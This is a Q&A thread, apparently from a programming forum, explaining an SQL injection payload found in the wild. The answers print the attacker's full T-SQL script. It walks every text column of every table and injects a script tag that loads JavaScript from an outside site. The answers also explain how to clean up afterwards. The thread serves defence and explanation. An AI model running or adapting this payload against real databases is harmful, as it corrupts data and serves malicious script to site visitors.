Can someone explain this SQL injection attack to me?

Solution 1:

Just formatting it for readability will clarify a lot:

set ansi_warnings off

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE Table_Cursor CURSOR FOR
    select c.TABLE_NAME, c.COLUMN_NAME
      from INFORMATION_SCHEMA.columns c,
           INFORMATION_SCHEMA.tables t
     where c.DATA_TYPE in ('nvarchar','varchar','ntext','text')
       and c.CHARACTER_MAXIMUM_LENGTH > 30
       and t.table_name = c.table_name
       and t.table_type = 'BASE TABLE'

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T, @C
WHILE(@@FETCH_STATUS=0)
BEGIN
    EXEC ( 'UPDATE [' + @T + ']
               SET [' + @C + '] =
                     ''"></title>'' +
                     ''<script src="http://lilXXXXXXXop.com/sl.php"></script>'' +
                     ''<!--'' +
                     RTRIM(CONVERT(VARCHAR(6000),[' + @C + ']))
             WHERE LEFT(RTRIM(CONVERT(VARCHAR(6000),[' + @C + '])), 17)
                     <> ''"></title><script''
           '
         )

    FETCH NEXT FROM Table_Cursor INTO @T,@C
END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

It goes through every text column of every table and inserts some HTML into it — HTML that contains a pointer to externally-generated JavaScript.

Solution 2:

It's looping through all columns in all tables and updating their value by adding a <script> tag whose source points at a malicious JS file.

The important bit is

DECLARE Table_Cursor CURSOR FOR 
select c.TABLE_NAME,c.COLUMN_NAME from 
INFORMATION_SCHEMA.columns c, INFORMATION_SCHEMA.tables t 
where c.DATA_TYPE in 

I'm guessing something got omitted here and the statement probably ended with something like ('varchar', 'char', 'text') or something similar, so that it's only trying to update columns that hold text. They're hoping one of the columns hold text that's getting pulled into your website, so after they add their JS reference to it, it will be included on the source of various pages.

To fix this, you should do something similar - loop through all columns that contain text and replace the injected script with an empty string. Google will be your friend here, but here's a pretty good looking link that should be helpful setting up a script to do that.

http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions--1#2